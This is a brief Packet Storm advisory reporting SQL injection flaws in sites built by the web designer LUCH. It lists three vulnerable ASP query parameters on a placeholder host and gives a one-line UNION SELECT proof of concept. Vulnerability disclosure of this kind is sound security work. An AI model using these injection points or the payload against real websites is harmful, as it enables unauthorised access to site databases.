LUCH Web Designer suffers from multiple remote SQL injection vulnerabilities.
b7364815b1fc9ec68403d4014190e859fda7e7281c917d07fd3bb10ab163d31fTitle : Web Designed by LUCH Vulnerable to SQL Injection
Vendor : http://www.luch.co.il
Found by: p0pc0rn
SQL
---
http://site.com/page.asp?id=[SQL]
http://site.com/cat.asp?catid=[SQL]
http://site.com/catin.asp?productid=[SQL]
POC
---
http://site.com/page.asp?id=23 union select 1 from test.a
© 2024 Packet Storm. All rights reserved.
%7Cutmcsr%3D(direct)%7Cutmcmd%3D(none)){kind=small}
Follow us on Twitter
Follow us on Facebook
Subscribe to an RSS Feed